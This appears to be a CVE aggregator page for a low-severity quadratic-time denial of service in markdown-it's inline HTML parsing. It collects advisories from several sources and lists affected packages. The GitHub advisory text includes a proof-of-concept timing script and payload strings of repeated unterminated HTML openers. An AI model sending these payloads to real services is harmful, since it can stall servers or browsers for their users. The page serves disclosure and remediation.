Every CVE Search/ Get API key

CVE-2026-111766

markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled

3.7 LowFix available

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.43%Up 0.1 points since Oct 20, 2026
90%50%10%1%

What each source reports

CVE List Score used 3.7

markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

Record
CVE-2026-111766
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-407
Updated
2026-11-02
EUVDEUVD-2026-104595 3.7

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

Record
EUVD-2026-104595
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-vfgh-jcmw-g37q 3.7

markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled

Summary

With html: true, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (<!--), processing instructions (<?), declarations (<!A), and CDATA sections (<![CDATA[).

An attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the commonmark preset enables it.

The issue was reported against the published [email protected] package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.

Details

src/rules_inline/text.ts treats < as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.

With HTML enabled, src/rules_inline/html_inline.ts applies an anchored regular expression to the remaining input:

const match = state.src.slice(pos).match(HTML_TAG_RE)

The comment, processing instruction, declaration, and CDATA alternatives in src/common/html_re.ts scan the remaining input for their respective terminators: -->, ?>, >, and ]]>.

When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.

The payload must reach inline parsing. Prefixing it with x keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.

The existing unclosed <!-- test in test/markdown-it/pathological.test.mjs already contains a reproducer:

'</' + '<!--'.repeat(100000)

However, it runs with default options, where HTML is disabled.

A fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with html: true.

The original report was submitted by @JarLob. It credits the GitHub Security Lab Taskflow Agent as part of the GitHub Secure Open Source Fund.

Proof of concept

Install the affected package in an empty directory:

npm install [email protected]

Save the following as poc.mjs and run node poc.mjs:

import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]

function measure(md, src) {
  const start = performance.now()
  md.render(src)
  return (performance.now() - start).toFixed(1)
}

const variants = {
  comment: '<!--',
  processing: '<?x',
  declaration: '<!A',
  cdata: '<![CDATA['
}

for (const [name, opener] of Object.entries(variants)) {
  console.log(`\n${name}`)
  for (const n of sizes) {
    const src = 'x ' + opener.repeat(n)
    console.log({
      n,
      bytes: Buffer.byteLength(src),
      ms: measure(mdHtml, src)
    })
  }
}

const n = sizes.at(-1)
const controls = {
  'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
  'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
  'HTML block': [mdHtml, '<!--'.repeat(n)],
  'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}

for (const [name, [md, src]] of Object.entries(controls)) {
  console.log({ control: name, ms: measure(md, src) })
}

const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
  payload: 'Existing pathological test',
  htmlFalseMs: measure(mdDefault, repoPayload),
  htmlTrueMs: measure(mdHtml, repoPayload)
})

Measurements from the original report on…

Record
GHSA-vfgh-jcmw-g37q
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-407
Updated
2026-11-02
NVD 3.7

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

Record
CVE-2026-111766
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-407
Updated
2026-11-02
OSV 3.7

markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

Record
CVE-2026-111766
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-407
Updated
2026-11-02
OSVDEBIAN-CVE-2026-111766 3.7

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

Record
DEBIAN-CVE-2026-111766
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated
2026-11-02
Show 14 moreShow less
OSVGHSA-vfgh-jcmw-g37q 3.7

markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled

Summary

With html: true, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (<!--), processing instructions (<?), declarations (<!A), and CDATA sections (<![CDATA[).

An attacker-controlled input of a few hundred kilobytes can block the Node.js event loop for seconds or tens of seconds. The default configuration has HTML disabled, but the commonmark preset enables it.

The issue was reported against the published [email protected] package on Node.js 20 and reproduced on the current source with Node.js 24.16.0.

Details

src/rules_inline/text.ts treats < as a terminator, causing the inline parser to attempt the HTML rule at successive HTML construct openers.

With HTML enabled, src/rules_inline/html_inline.ts applies an anchored regular expression to the remaining input:

const match = state.src.slice(pos).match(HTML_TAG_RE)

The comment, processing instruction, declaration, and CDATA alternatives in src/common/html_re.ts scan the remaining input for their respective terminators: -->, ?>, >, and ]]>.

When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.

The payload must reach inline parsing. Prefixing it with x keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.

The existing unclosed <!-- test in test/markdown-it/pathological.test.mjs already contains a reproducer:

'</' + '<!--'.repeat(100000)

However, it runs with default options, where HTML is disabled.

A fix should avoid repeated searches for absent terminators across all four affected alternatives, for example by caching failed searches on the inline state. Fixing only the comment alternative leaves the other three cases affected. Regression coverage should exercise all four with html: true.

The original report was submitted by @JarLob. It credits the GitHub Security Lab Taskflow Agent as part of the GitHub Secure Open Source Fund.

Proof of concept

Install the affected package in an empty directory:

npm install [email protected]

Save the following as poc.mjs and run node poc.mjs:

import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const mdHtml = new MarkdownIt({ html: true })
const mdDefault = new MarkdownIt()
const sizes = [8000, 16000, 32000, 64000]

function measure(md, src) {
  const start = performance.now()
  md.render(src)
  return (performance.now() - start).toFixed(1)
}

const variants = {
  comment: '<!--',
  processing: '<?x',
  declaration: '<!A',
  cdata: '<![CDATA['
}

for (const [name, opener] of Object.entries(variants)) {
  console.log(`\n${name}`)
  for (const n of sizes) {
    const src = 'x ' + opener.repeat(n)
    console.log({
      n,
      bytes: Buffer.byteLength(src),
      ms: measure(mdHtml, src)
    })
  }
}

const n = sizes.at(-1)
const controls = {
  'HTML disabled': [mdDefault, 'x ' + '<!--'.repeat(n)],
  'Closed comments': [mdHtml, 'x ' + '<!---->'.repeat(n)],
  'HTML block': [mdHtml, '<!--'.repeat(n)],
  'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}

for (const [name, [md, src]] of Object.entries(controls)) {
  console.log({ control: name, ms: measure(md, src) })
}

const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
  payload: 'Existing pathological test',
  htmlFalseMs: measure(mdDefault, repoPayload),
  htmlTrueMs: measure(mdHtml, repoPayload)
})

Measurements from the original report on…

Record
GHSA-vfgh-jcmw-g37q
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-407
Updated
2026-11-02
OSVUBUNTU-CVE-2026-111766 3.7

markdown-it is a Markdown parser. Prior to 14.3.3 and 15.0.3, when the html option or commonmark preset is enabled and the constructs occur inside a paragraph, attacker-controlled Markdown containing repeated unterminated inline HTML comments, processing instructions, declarations, or CDATA sections reaches src/rules_inline/html_inline.ts. Its HTML_TAG_RE match searches the remaining suffix for the appropriate terminator; when no terminator is present, parsing advances to the next opener and repeats the match over overlapping input, causing quadratic processing and denial of service through event-loop blocking or an unresponsive browser main thread. HTML blocks and the default HTML-disabled configuration are not affected by these payloads. This issue is fixed in versions 14.3.3 and 15.0.3.

Record
UBUNTU-CVE-2026-111766
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated
2026-11-02
OSVCLSA-2026-1792574976 No score

TuxCare security update for markdown-it (2 CVEs)

TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 14.3.2-tuxcare.1.

Record
CLSA-2026-1792574976
Updated
2026-11-02
OSVCLSA-2026-1793097495 No score

TuxCare security update for markdown-it (1 CVE)

TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 14.3.0-tuxcare.4.

Record
CLSA-2026-1793097495
Updated
2026-11-02
OSVCLSA-2026-1793097603 No score

TuxCare security update for markdown-it (1 CVE)

TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 14.3.1-tuxcare.3.

Record
CLSA-2026-1793097603
Updated
2026-11-02
OSVCLSA-2026-1793099982 No score

TuxCare security update for markdown-it (1 CVE)

TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 12.3.0-tuxcare.4.

Record
CLSA-2026-1793099982
Updated
2026-11-02
OSVCLSA-2026-1793100014 No score

TuxCare security update for markdown-it (1 CVE)

TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 12.3.2-tuxcare.3.

Record
CLSA-2026-1793100014
Updated
2026-11-02
OSVCLSA-2026-1793101322 No score

TuxCare security update for markdown-it (2 CVEs)

TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 4.0.3-tuxcare.4.

Record
CLSA-2026-1793101322
Updated
2026-11-02
OSVCLSA-2026-1793125795 No score

TuxCare security update for markdown-it (1 CVE)

TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 4.4.0-tuxcare.7.

Record
CLSA-2026-1793125795
Updated
2026-11-02
OSVCLSA-2026-1793874791 No score

TuxCare security update for markdown-it (2 CVEs)

TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 8.4.2-tuxcare.4.

Record
CLSA-2026-1793874791
Updated
2026-11-05
OSVCLSA-2026-1793874926 No score

TuxCare security update for markdown-it (2 CVEs)

TuxCare rebuilt markdown-it to address 2 CVEs. Fixed in 4.3.0-tuxcare.7.

Record
CLSA-2026-1793874926
Updated
2026-11-05
OSVCLSA-2026-1793885957 No score

TuxCare security update for markdown-it (1 CVE)

TuxCare rebuilt markdown-it to address 1 CVE. Fixed in 13.0.2-tuxcare.5.

Record
CLSA-2026-1793885957
Updated
2026-11-06
OSVCLSA-2026-1794058822 No score

TuxCare security update for markdown-it (4 CVEs)

TuxCare rebuilt markdown-it to address 4 CVEs. Fixed in 14.2.0-tuxcare.1.

Record
CLSA-2026-1794058822
Updated
2026-11-07
OSVCLSA-2026-1794059936 No score

TuxCare security update for markdown-it (5 CVEs)

TuxCare rebuilt markdown-it to address 5 CVEs. Fixed in 10.0.0-tuxcare.1.

Record
CLSA-2026-1794059936
Updated
2026-11-07

Affected products

Affected packages

Affected packages
PackageAffectedFixed
markdown-it
npm
before 14.3.3
14.3.3
markdown-it
npm
15.0.0 up to 15.0.3
15.0.3
markdown-it
TuxCare:npm
From an advisory covering 2 CVEs
14.3.2-tuxcare.0 up to 14.3.2-tuxcare.1, plus listed versions
14.3.2
14.3.2-tuxcare.1
markdown-it
TuxCare:npm
14.3.0-tuxcare.0 up to 14.3.0-tuxcare.4, plus listed versions
14.3.014.3.0-tuxcare.114.3.0-tuxcare.214.3.0-tuxcare.3
14.3.0-tuxcare.4
markdown-it
TuxCare:npm
14.3.1-tuxcare.0 up to 14.3.1-tuxcare.3, plus listed versions
14.3.114.3.1-tuxcare.114.3.1-tuxcare.2
14.3.1-tuxcare.3
markdown-it
TuxCare:npm
12.3.0-tuxcare.0 up to 12.3.0-tuxcare.4, plus listed versions
12.3.012.3.0-tuxcare.112.3.0-tuxcare.212.3.0-tuxcare.3
12.3.0-tuxcare.4
markdown-it
TuxCare:npm
12.3.2-tuxcare.0 up to 12.3.2-tuxcare.3, plus listed versions
12.3.212.3.2-tuxcare.112.3.2-tuxcare.2
12.3.2-tuxcare.3
markdown-it
TuxCare:npm
From an advisory covering 2 CVEs
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions
4.0.34.0.3-tuxcare.14.0.3-tuxcare.24.0.3-tuxcare.3
4.0.3-tuxcare.4
markdown-it
TuxCare:npm
4.4.0-tuxcare.0 up to 4.4.0-tuxcare.7, plus listed versions
4.4.04.4.0-tuxcare.14.4.0-tuxcare.24.4.0-tuxcare.34.4.0-tuxcare.44.4.0-tuxcare.54.4.0-tuxcare.6
4.4.0-tuxcare.7
markdown-it
TuxCare:npm
From an advisory covering 2 CVEs
8.4.2-tuxcare.0 up to 8.4.2-tuxcare.4, plus listed versions
8.4.28.4.2-tuxcare.18.4.2-tuxcare.28.4.2-tuxcare.3
8.4.2-tuxcare.4
Show 11 moreShow less
Affected packages
PackageAffectedFixed
markdown-it
TuxCare:npm
From an advisory covering 2 CVEs
4.3.0-tuxcare.0 up to 4.3.0-tuxcare.7, plus listed versions
4.3.04.3.0-tuxcare.14.3.0-tuxcare.24.3.0-tuxcare.34.3.0-tuxcare.44.3.0-tuxcare.54.3.0-tuxcare.6
4.3.0-tuxcare.7
markdown-it
TuxCare:npm
13.0.2-tuxcare.0 up to 13.0.2-tuxcare.5, plus listed versions
13.0.213.0.2-tuxcare.113.0.2-tuxcare.213.0.2-tuxcare.313.0.2-tuxcare.4
13.0.2-tuxcare.5
markdown-it
TuxCare:npm
From an advisory covering 3 CVEs
14.2.0-tuxcare.0 up to 14.2.0-tuxcare.1, plus listed versions
14.2.0
14.2.0-tuxcare.1
markdown-it
TuxCare:npm
From an advisory covering 4 CVEs
10.0.0-tuxcare.0 up to 10.0.0-tuxcare.1, plus listed versions
10.0.0
10.0.0-tuxcare.1
node-markdown-it
Debian:12
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-322.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5
None known
node-markdown-it
Debian:13
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-322.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5
None known
node-markdown-it
Debian:14
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-322.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5
None known
node-markdown-it
Ubuntu:22.04:LTS
All versions, plus listed versions
10.0.0+dfsg-210.0.0+dfsg-310.0.0+dfsg-3.110.0.0+dfsg-410.0.0+dfsg-510.0.0+dfsg-6
None known
node-markdown-it
Ubuntu:24.04:LTS
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-2
None known
node-markdown-it
Ubuntu:26.10
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-422.2.3+dfsg+~12.2.3-5
None known
node-markdown-it
Ubuntu:26.04:LTS
All versions, plus listed versions
22.2.3+dfsg+~12.2.3-222.2.3+dfsg+~12.2.3-4
None known

History

History
RecordedChangedSources
affected, aliasesOSV
affected, aliasesOSV
affected
affected, aliases, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-111766 is a low vulnerability (CVSS 3.7) in Markdown-it, published October 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in markdown-it 14.3.3.

References

Show 6 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open